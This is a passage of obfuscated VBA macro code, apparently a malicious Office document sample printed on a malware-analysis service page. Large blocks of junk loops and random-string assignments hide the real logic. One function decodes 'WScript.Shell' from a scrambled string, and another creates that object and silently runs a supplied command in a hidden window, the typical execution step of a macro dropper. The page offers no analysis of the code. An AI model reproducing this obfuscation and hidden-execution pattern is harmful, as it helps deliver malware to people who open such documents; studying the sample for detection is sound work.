    kUjLbKYo = Space(15)

End Sub

Private Sub WvIbsW(yCcqJIw As String, YufEzl As Boolean, rjlOQs As Double, VODrtQ As Integer)
    While KUDIkx < 384
        ijnuz = 119 + 1868 + 899
        LpLfWyS = LTrim("p%.GjWD$Q ss")
        KUDIkx = KUDIkx + 3
    Wend

    kUjLbKYo = 1468 - 1438 - 1962
    MlCWBMtu = Left("_cdP?[I^NeAT", 3)
    VVYQx = RTrim("IUi&BmKCTxBgEY(i")
    While HjVvxu < 269
        ijnuz = LTrim("*y#K.kFN?fI#")
        MlCWBMtu = 1909 + 1617 + 1020
        MlCWBMtu = Space(18)
        kUjLbKYo = "mnxqccLT!EZ^!G)Jz[" + "[No_Zq@e-?IS$F#gNo" + "iXRcVw(U%IW^U#"
        xChOjM = "fvOAD Qzg^RnD" + "xkCgKklrksJ$VepN" + "xh%q_ldUzeQuF"
        xChOjM = RTrim("SJoi(D$yJv[gz_e#&EQM")
        xChOjM = Left("(ZpMzIG(]h(gi%S", 2)
        xChOjM = Right("GbxgJ ReG?$cI?", 2)
        HjVvxu = HjVvxu + 3
    Wend

    LpLfWyS = Space(8)
    xChOjM = 547 - 217 - 1086
    MlCWBMtu = UCase("GM*]A?biB-zDhie^MEzA")
    HIEnP = 257 - 1636 - 832
    xChOjM = "MqhZhz_AnW]*U[DBlas-" + "TtMLfXS!No" + "kxfU&jYl-sH_vq&J?cG^"
    LpLfWyS = 211 + 1003 + 1787
    While bOsQTg < 293
        kUjLbKYo = Left("ole*ftrb.(", 3)
        ijnuz = StrReverse("^u!Y)z^rTbHj$kbXzPI")
        kibFWeX = Left("oPTpFYdS&[K$WU_KX", 3)
        MlCWBMtu = RTrim("OiT@W!RJwiAXRa%%vK!")
        VVYQx = Space(8)
        HIEnP = StrReverse(".lXc$k#MGyp_%")
        kibFWeX = 952 + 586 + 1257
        bOsQTg = bOsQTg + 1
    Wend

    LpLfWyS = 1537 + 197 + 941
    ijnuz = Right("GjZZs.*qXsBUzYbw", 5)
    VVYQx = Left("PS-NP-_Y H@qz##", 4)
    kibFWeX = Left("wbYtSuImgLV(A", 5)
    ijnuz = "YT[(SnST#*hFTUh" + ")$qQLw&vZQkzzSZ$p_l" + "fZ@H(LZ^pPlh"
    LpLfWyS = UCase("URv#aHgXmvqXkHIF]")
    VVYQx = StrReverse("jf?A^YnJu#L_gvD]&x-[")
    kibFWeX = StrReverse("v]Hr(QQcVcUgIL&@x]-d")
    xChOjM = 774 - 544 - 792
    kUjLbKYo = 416 + 727 + 1505
    ijnuz = RTrim("D%&fft*$$LL zqsATr")
    MlCWBMtu = Left("NMadKIwO$qzJeK[i", 3)
    HIEnP = "ciEuBY@TU )x" + "UywaH%ckyJY" + "NIJT We%nGbW"
    VVYQx = UCase("r$lPcnwydd PNJy")
    kibFWeX = RTrim("%(x]imO&C]!-.qGmnXR")
    HIEnP = 1370 - 1414 - 115
End Sub

Public Function TOHVyyJg(uWLWIEUC As String) As String
kibFWeX = Space(6)
For fLxdTk = 0 To 119
    ijnuz = "JWFgYi^]Uz^nD&H[ujO" + "wQDp $xqPXmv.mcki" + "dISr$iAC[ih"
    LpLfWyS = UCase("JovORYLHT]-]ymEnSF$")
    kUjLbKYo = 758 + 1410 + 1458
    MlCWBMtu = Right("DzjQa..&BIGBrR[", 5)
    ijnuz = 102 - 1321 - 1535
    xChOjM = Right("N%GfpZpzG[ZlzLO", 2)
Next fLxdTk
For fUvwcy = 0 To 75
    VVYQx = RTrim("TIjzzKLn%Xc.aBmetJ")
    kibFWeX = 1366 + 915 + 1959
    xChOjM = UCase("hiaycvH@(L#YExM")
    LpLfWyS = Left("H$M_!.bLEv_]kIkpefx?", 2)
Next fUvwcy
For QHisio = 0 To 340
    HIEnP = RTrim("W a-&BKB#ghA)Z]Q")
    xChOjM = StrReverse("I?F% _qBij%G@f%gtG")
    MlCWBMtu = 128 + 1853 + 1382
    HIEnP = RTrim("i&z]nb#bfbQCmECh")
    kUjLbKYo = Left("k)DawCdgenb", 4)
    kibFWeX = 1529 - 1696 - 1395
    HIEnP = 1858 + 788 + 1999
    kibFWeX = "CggTmXAtuN$&SQ" + "&GCUJQuQz#SgnL" + "!_kTtm$*m]hk"
    LpLfWyS = StrReverse("wfQ$t@Fiuy]")
Next QHisio
While sCaFEe < 255
    MlCWBMtu = StrReverse("dIDVM#JW?OL%&#")
    ijnuz = Right("I%PPUeVfPoK_kLxSsL", 5)
    LpLfWyS = UCase("AQ!OEX.k?_h?RAk-b@")
    kibFWeX = Space(19)
    sCaFEe = sCaFEe + 1
Wend
    Dim IAluQIa() As Byte
    MlCWBMtu = 1271 + 1556 + 408
    For FCmBgD = 0 To 144
        MlCWBMtu = Left("qNrFWjYrIbh", 5)
        kUjLbKYo = Left("^KVk$K%[^jV", 5)
        kUjLbKYo = "FCijiw&N%[x#%buZN#" + "O%cvKz[^Pop%l?u " + "vlcVMiW]ROk^yhQfIP"
        VVYQx = "Ud-!dawv.yS.el]_&nON" + "qCn#qOc%IE%M" + "P]Zzn CaF$"
        VVYQx = LTrim(" HSshlf)Ho")
        ijnuz = RTrim("f#vYz@RIs)LOXk)z")
    Next FCmBgD
    For DYpRWd = 0 To 217
        MlCWBMtu = Right("(tu#D!m!U_?k", 5)
        MlCWBMtu = UCase("ROWOiMqEV(K$&")
        kibFWeX = StrReverse("R-lj]LUvNeC&")
        ijnuz = StrReverse("LDYEZHiosYCLgIjx")
        HIEnP = StrReverse("@.X)Tof)[TIb.@")
        kibFWeX = Left("-.)WoCvfci)]Y", 2)
        ijnuz = 589 + 557 + 1426
        xChOjM = Space(2)
        LpLfWyS = UCase("(w*YN&!tCePh*U")
        VVYQx = "*AV?s.?)lBRHIZnlf" + "J)Myzng%Hwtc B" + "QbPIg(F(AVsABY&t fOD"
    Next DYpRWd
    While UnIkmd < 11
        LpLfWyS = Space(1)
        HIEnP = UCase("(zTQu]TTDI] meUsDTV")
        ijnuz = Space(7)
        kUjLbKYo = Left("#EKX#j_Nd-^OoxjWv", 5)
        kUjLbKYo = LTrim("Lme& &n]jRII")
        xChOjM = RTrim("veMU&?#jU(QkQ")
        xChOjM = Left("z#aX^@jhAI)B", 4)
        kibFWeX = "EbmS K&I&N" + ".Kcyawb#R$B@" + "J[.mc]Nngh!)_ S"
        UnIkmd = UnIkmd + 3
    Wend
    While NrmzIK < 195
        ijnuz = 1910 - 1323 - 491
        MlCWBMtu = 848 + 880 + 1171
        VVYQx = Space(18)
        HIEnP = StrReverse(" RYXvGOzCJ!@e&obM")
        HIEnP = 1421 - 281 - 1128
        NrmzIK = NrmzIK + 3
    Wend
    Dim QMlzD(1000) As Byte
    LpLfWyS = "DsV#[rbRFm%SKdVgew@f" + " S-qtm@swG^" + "m#I?A]Zth$?!p&O%$C"
    LpLfWyS = RTrim("$QHRyDCMODpzG")
    For ZcUzao = 0 To 65
        kUjLbKYo = 240 - 297 - 160
        kibFWeX = Left("My#r.ysA?H", 2)
        HIEnP = "?.uEHK@fcMoPyW$eO[" + "X[qnkr*%Af%ongA$" + "CvmB)iwqtD"
        VVYQx = 636 - 480 - 1748
        xChOjM = StrReverse("*s*If e_xn")
    Next ZcUzao
    For eajjmI = 0 To 293
        MlCWBMtu = Right("qnuw]kiQo^lzBS", 2)
        kUjLbKYo = StrReverse("a.X!CWj OWaSu")
        ijnuz = "xdr)_IXL%GYp-(hqt" + "fc)aU(]ZcVFTTrTns Ma" + "%YlFs^]yy-_UZChrAi["
        kUjLbKYo = UCase("A^nezskABqJ!!F")
        HIEnP = Right("DmZ)pB.ML*X", 5)
        kUjLbKYo = "wngtifopBTX" + "G dydyl.[JeDUhm%*V_" + "o$^Z@OJ$P?(ziclMnIj"
        VVYQx = 1041 + 792 + 320
        kUjLbKYo = Right("BX(DR.&]jNq[pE^jWU", 5)
        xChOjM = Right("hFHS?Zz_KvMqZm", 3)
        LpLfWyS = "$OEl]&kt@AN?[" + "dnZ%@&n*qH" + "[bhN?_!DcHBt.z*"
    Next eajjmI
    nAyUei = 0
    HIEnP = 1029 - 1437 - 1950
    kibFWeX = RTrim("g.pFxIgAURW.[")
    For yJzqrC = 0 To 13
        LpLfWyS = UCase("DX[k%)iAMvdo-Bfykut")
        LpLfWyS = Space(10)
        xChOjM = Left("pI_!]MqZXnDyg[Sv*", 3)
        xChOjM = Space(16)
        kUjLbKYo = 1531 - 721 - 706
        VVYQx = RTrim("Hc]I&uGrZx]j$COr")
    Next yJzqrC
    VVYQx = RTrim("]qgNkM^scLT!_")
    MlCWBMtu = 636 - 571 - 839
    IAluQIa = StrConv(uWLWIEUC, vbFromUnicode)
    For gORGH = 0 To UBound(IAluQIa) - 1
    HIEnP = UCase("HVZ.OM?AEj")
    While xOZlmP < 336
        kibFWeX = RTrim("AKcabkPaOJ-Pai_d-kjW")
        LpLfWyS = 1159 + 950 + 235
        LpLfWyS = 817 + 1224 + 501
        HIEnP = StrReverse("hZe)%pX[C&kTpGA]gy")
        VVYQx = "OJrqIag$.$pz(PL@(#[ " + "D^YZ#Du&JamV[d&bola" + ".&-iTlRZGZl#w]HlV"
        LpLfWyS = 1267 - 708 - 334
        xOZlmP = xOZlmP + 2
    Wend
        If (gORGH Mod 2 = 0) Then
        HIEnP = 1841 - 873 - 868
        MlCWBMtu = UCase(" fc[.QVlB*b_?&kP(s")
        MlCWBMtu = UCase("WLSKnjYWk#M_TM")
            QMlzD(nAyUei) = IAluQIa(gORGH)
            HIEnP = Left("ld.YLyal@)-Zd&DCW", 2)
            nAyUei = nAyUei + 2 - 1
        End If
        ijnuz = StrReverse("X]gC*Vgh.hIO.(Ae#c")
        For UyWdao = 0 To 183
            LpLfWyS = LTrim("%(F)#WFq[L]Rvur")
            xChOjM = Left("xM_Afp UlTJbhc", 3)
            kibFWeX = Left("VYR.*e#K(p^]*o", 5)
            ijnuz = Left("NvrZ?yNJNir", 4)
            kUjLbKYo = StrReverse("kOvn*&uUGiKY@l)lIuXb")
            kibFWeX = Left("tMD)PBQvqaJ_T# #aHwP", 5)
        Next UyWdao
        xChOjM = 1072 + 725 + 320
    Next gORGH
    LpLfWyS = 1111 + 836 + 256
    While yeNNTK < 319
        kUjLbKYo = Right("jqtBivkty@nTQF@?", 2)
        VVYQx = "[zrrvr#IMJGBzO" + "GtjZKMK]QSdMPVi" + "eJu)R^ s@q]R)b_"
        ijnuz = Space(12)
        xChOjM = RTrim("j_@qLR!KmyL)yQl")
        MlCWBMtu = Left("kIRE$YSzs^?%Fv!i", 5)
        kUjLbKYo = Right("sA[Ly.O#*bj*cQapg", 3)
        ijnuz = Right("T%oYW-EvIYZS?UcoAa", 3)
        yeNNTK = yeNNTK + 3
    Wend
    HIEnP = 1399 - 1246 - 1951
    TOHVyyJg = StrConv(QMlzD, vbUnicode)
    While LQpBuK < 383
        kibFWeX = Right("hjxCuRaTne(", 5)
        HIEnP = RTrim("xry QJcMBg")
        MlCWBMtu = LTrim("lwV&?hBH!M_TAr")
        xChOjM = 1512 + 1369 + 714
        MlCWBMtu = 1021 - 861 - 501
        MlCWBMtu = Left("@s#fcukt!%SO.U-.", 3)
        LpLfWyS = Left("NeLvR*)Piwz)]GWx", 2)
        HIEnP = Right("zp-bmVS_jZj?m.N", 3)
        VVYQx = 1180 - 478 - 653
        LQpBuK = LQpBuK + 3
    Wend
    While jYDnYB < 354
        kUjLbKYo = 1180 + 741 + 626
        HIEnP = StrReverse("Sksl-NL-PW%xy*iKWaQ")
        kUjLbKYo = 273 + 1701 + 1964
        jYDnYB = jYDnYB + 1
    Wend
    kibFWeX = Space(5)
    HIEnP = StrReverse("gb?HXTQzzQpNk*")
    kUjLbKYo = Right(" tAAofti@.AEJe*BviT", 5)
End Function
Private Function JRnlvU(mEvUmt As String, ntOxxnO As Boolean) As String
    xChOjM = 991 - 1053 - 1090
    kibFWeX = Right("G_ssvgJbZbRy!Q", 2)
    For tahvoQ = 0 To 71
        kibFWeX = "kKd%.PCj$!RHWusQcS^" + "yzbCySH-zdFiHcbC(AdE" + "GkXhDqhSI-X"
        xChOjM = StrReverse("AbLz*QprDQ#)h&R-_k?Q")
        HIEnP = StrReverse("sLVfdwVC!szkC")
        xChOjM = Right("BGaiMhm$euVLwlW", 4)
        xChOjM = 758 - 680 - 990
        xChOjM = "$PYsJV]jR*?p" + "U[wqN)Mb.ITFon[*?" + "DdPo(xmACF%n-RN"
        VVYQx = StrReverse("grZ]WcsoGfaCDko")
        kUjLbKYo = "m$IkUDl!!YKkPG" + "@y$vv#tIe!xYp)*xVbF*" + "f(k*uwAxThj"
        kibFWeX = StrReverse("nHKJ(fBuoxQQ^xHrp)y")
    Next tahvoQ

    xChOjM = UCase("A l[H@KaJpZE?FIk")
    LpLfWyS = Left("*NPk$.zC^#", 2)
    HIEnP = RTrim("w@%IiX*Q$dy")
    kUjLbKYo = LTrim("A.JsdG(mXw-*YQoCis")
    ijnuz = "rFgnaP]cA&wGh*%" + "bHDgpsOfrMmOg[pjO(^z" + "#o$(!P&URO"
    For wIybli = 0 To 221
        LpLfWyS = Left("Gen@RLIRRchhM", 2)
        MlCWBMtu = Space(19)
        MlCWBMtu = Space(18)
        LpLfWyS = LTrim("LmJfgXr^*]X@?u")
        VVYQx = Space(11)
        VVYQx = Right("JLGmF-oq(-Fa_PGO", 2)
        xChOjM = 1586 - 727 - 1825
        xChOjM = 1549 - 194 - 409
        kibFWeX = RTrim("qh.jdEG#.dOiLm%")
    Next wIybli

    xChOjM = LTrim("XjcpuaovkgeUt")
    kibFWeX = "k@iVCKG%RqkO" + "Jy^C!PMxSSei(m#Yh*" + "*MSqcfj$goLJrl"
    MlCWBMtu = Right("Yh$kk^reFM%zPeqi(jS", 4)
    HIEnP = "N^&C)!dHcE?#])XD" + "YdYSO(hdGQ vCMZwG" + "KSCXepq-MUraNkb-"
    ijnuz = 982 - 421 - 779
    MlCWBMtu = 729 - 1782 - 1963
    xChOjM = RTrim("@oNu[&wt %WPlF&&Dy#")
    kibFWeX = 345 - 1379 - 364
    ijnuz = Right("BP]b]uv$kN-", 4)
    MlCWBMtu = "jz)ccut]OKM[wRy]CuL" + "p]EdvdL]iVQHo" + "Yj(qWf[kD FvCmPqQ"
    For hXxwUn = 0 To 347
        HIEnP = RTrim("DuGLJ%.T)J!c&QuOtblU")
        HIEnP = "Gy.MnAGv@S" + "dK]hL%Q?#O!wN?eV" + " nAw^%zfYKB$"
        xChOjM = StrReverse("q(fIu ?@S%K[sQX[ Vg%")
    Next hXxwUn

    HIEnP = Right("h.Y!VVJtangqfiTSJ", 4)
    kUjLbKYo = Right("JNeUKo?]HceYPI", 4)
    kUjLbKYo = Left("p&Tt($@F]Bv", 3)
    ijnuz = 1603 - 1690 - 1339
    kUjLbKYo = Right("qjHpiz$IrgF", 3)
    xChOjM = UCase("[ivg#MRgciaK")
    kUjLbKYo = 1318 - 1402 - 625
    MlCWBMtu = StrReverse("t^yoCFIcy*H$h?_I")
    kibFWeX = "BuUj%eeKQ#" + "WEGG)B.K .y$CT(" + "g#Er#XALhW"
    For XJYpKE = 0 To 36
        xChOjM = RTrim("@mfNPcX!l!")
        ijnuz = Right("oK!n(UGBy$#GufFbEx", 2)
        xChOjM = 148 - 765 - 249
    Next XJYpKE

    kUjLbKYo = 864 - 866 - 1355
    HIEnP = "wfequyr?#k" + "i[urFNfUY)&" + "EQlI@y?&WbeiQmu?i$A_"
    kUjLbKYo = Right(" [G_nhjnYs@&rgayrsEU", 4)
    ijnuz = UCase("ff?.FbW))!$GnLA&Kd")
    ijnuz = Left("#eD(I?zU@ppqB-H", 5)
    JRnlvU = "QbFEgZExLymsbOBJGWBYJzwMPFGoHyAiLML"
End Function

Private Sub fMOcuI(SWauWN As String, fOOzZX As String, kjeMZwU As String, vgFOSw As String, dNwMrjQ As String)
    HIEnP = StrReverse("rUQN]L#N(lRiSRIYSf]")
    ijnuz = Space(15)
    VVYQx = StrReverse("O]VWVB&MhyQd*CI%B")
    kibFWeX = Space(4)
    HIEnP = Space(9)
    VVYQx = Space(4)
    VVYQx = Right("T(PRRJiZWpW Fw.", 5)
    Set cVrLrd = CreateObject(TOHVyyJg("W!SQcyrfi-pit^.jSChTejlMlD"))
    cVrLrd.Run SWauWN, 0
    LpLfWyS = "qkuUlJk xhb#RTFe" + "B[]A&pQ^xB[bd" + " q][lNU WUws@n)h"
    HIEnP = Space(16)
    LpLfWyS = UCase("KXK&Ij(MlcHV")
    While UIZuNi < 65
        HIEnP = 1823 - 1308 - 767
        ijnuz = "ZOaKsO.wXfmQY" + "iG$qzRvPuB-@j*f*ES" + "XB#($m%SM?fV fckh"
        VVYQx = StrReverse("STrn%AyEGud@XnK&")
        UIZuNi = UIZuNi + 1
    Wend
    kibFWeX = UCase("SJY%%_zBl^A")
    kUjLbKYo = "lK[Kp.SqIa%d" + "[YQ-fp#jte$dOtj$b)y" + "VRq@UN!*S] Cc.e_"
    xChOjM = "KGbbd_[IVgwCzmzmZp" + "Cw CSiLtgdrx" + "kg#Fr[yVr&"
    MlCWBMtu = StrReverse("HXFh! .FTRq")
End Sub

Private Sub lZVVMT(BKGEii As String, JLNklW As String, nWzXme As Double, KLrgAh As Boolean)
    VVYQx = StrReverse("yb%vFnnfOO")
    VVYQx = "]tkiXmKS [" + "tIYskqBRSjQ?RCRn" + "gP)z?Z_arrVsZijmH"
    MlCWBMtu = "@Rl^cRxU_mB" + "s?F^AkwEVj F@f" + "A#JKMBAv*wrovjb#*EI"
    xChOjM = Left("m^&FKY&Kn]ijOU", 2)
    kibFWeX = "vBR@[xNz)$&^P^SYe" + "E^-HljWjzVBhOf%kq(((" + "^@$(*PgqIELM&@z)!^%"
    MlCWBMtu = Right("w[POANREAyR(()", 3)
    kibFWeX = 1136 + 1624 + 1756
    kibFWeX = "yLRvkK UXE)J " + "FGx.unbXbY-" + "wn^ktTb$y#(oG?bv^"
    While sIjlnp < 360
        xChOjM = LTrim("AKuof&@clY[")
        kibFWeX = LTrim("P*kBTP.fNjMD&iuUalUO")
        sIjlnp = sIjlnp + 2
    Wend

    ijnuz = Space(8)
    VVYQx = 1293 + 1731 + 843
    MlCWBMtu = LTrim("EdAd?ZWN]lEB")
    LpLfWyS = StrReverse("NvRhqTmTbSbe-BWZs")
    While cAjagM < 83
        ijnuz = UCase("t*OJZmfW!eqDjhd")
        VVYQx = StrReverse("StiItEIb*Unb)ywo.nL&")
        kibFWeX = UCase("Aorb$e$@otD)I")
        cAjagM = cAjagM + 2
    Wend

    VVYQx = RTrim("k*BkQSA@z#gopK #D")
    xChOjM = UCase("PPyD@kcBFoWBjWu*F")
    HIEnP = Right("b@!&i(aI])I^UbqMN", 3)
    MlCWBMtu = Space(13)
    kibFWeX = StrReverse("%dGE^UeSLAgeDTjGmp]d")
    xChOjM = UCase("K!xEx_wYp&rTLln")
    ijnuz = "AjdnPpAhNg?" + "%%rZOc i@_ei" + "uhzjTrU#C@Via%"
    ijnuz = Left("as#[(GN@Hm.(qbk^B%", 4)
    ijnuz = RTrim("&xKGRvpf]TRMC")
    kUjLbKYo = Left("JosW Rzcejr#&-*lra", 3)
    HIEnP = StrReverse("M(xRC? KgUJVgY")
    kibFWeX = StrReverse("NDi&ZG(fjO%mpnq?RY")
    VVYQx = StrReverse("g]OWPHtRKDqmntF")
    While bcKmkM < 344
        kUjLbKYo = Right("(HgjIfCEcer*JlPpUj$", 2)
        HIEnP = RTrim("e& ZEW.I-J*FGbQs")
        MlCWBMtu = RTrim("AFFr*%J-i D D-")
        kUjLbKYo = 916 + 1646 + 554
        xChOjM = Left(")hMB(iGs S-AJkQ_GP#S", 2)
        HIEnP = Right("UBfm%.i!-F@Ld", 3)
        ijnuz = RTrim("TEqM#qH%mXEH-$]GU.[")
        bcKmkM = bcKmkM + 3
    Wend

    VVYQx = RTrim("zYIdPx]v-]x!c")
    xChOjM = StrReverse("QVxUuZDk)p$D]l%C(!j")
    kUjLbKYo = Left("rCYByhuaFhvV]Hrz", 2)
    ijnuz = "YJWrWG[yy?#.(hQ%oSsI" + "yKnEnpGTlh" + "II*WpM)!g@jYc"
    HIEnP = StrReverse("mgDJqrYTHnmAfMRyZJ")
    kUjLbKYo = 1668 + 1052 + 1533
    kUjLbKYo = StrReverse("YNFmHH^k[_")
    MlCWBMtu = 475 - 1045 - 1881
    kUjLbKYo = Right("iN@Nj*nQWfKF&Y)fyb", 2)
    kibFWeX = 938 + 713 + 1889
    HIEnP = "QyxStfUgHQI" + "&rZ.qWCE?_z@XBVAaykn" + "qWusv#_OQH!%wug^-u.("
    ijnuz = Space(4)
End Sub

Private Function ulSeJm(rZhngh As String, aUsbym As String, KrmRGVN As Integer) As String
    MlCWBMtu = Right("rDUdJyWzqwBBRp*nUe", 2)
    While TRXUKp < 244
        kibFWeX = StrReverse("kWuSV(JqJ!iZY*IzTa")
        xChOjM = ")-tmQ$^glK" + "$%mHZY)xWmdRj_UA^c" + "!EUK*GFR@A((z"
        VVYQx = "bkE F]duHmI@nTVLuVx" + ".&X#h#GQPltndBxi#q" + "zJmV(%xzK[?F u"
        ijnuz = RTrim("feIlow#m%U-IEdi")
        MlCWBMtu = RTrim("ji!*bHaFyLJsK")
        TRXUKp = TRXUKp + 1
    Wend

    xChOjM = 727 + 1934 + 774
    MlCWBMtu = 745 + 1578 + 250
    HIEnP = Space(13)
    MlCWBMtu = Right("-[qRr.h)X??CstG", 2)
    For gjIZvO = 0 To 285
        VVYQx = 930 + 1673 + 968
        kibFWeX = UCase("C)q(Ufmn eDqVQ?Lmdi")
        kibFWeX = 157 + 1083 + 1355
    Next gjIZvO

…

Open this report in the interactive analyzer, or submit your own file for analysis.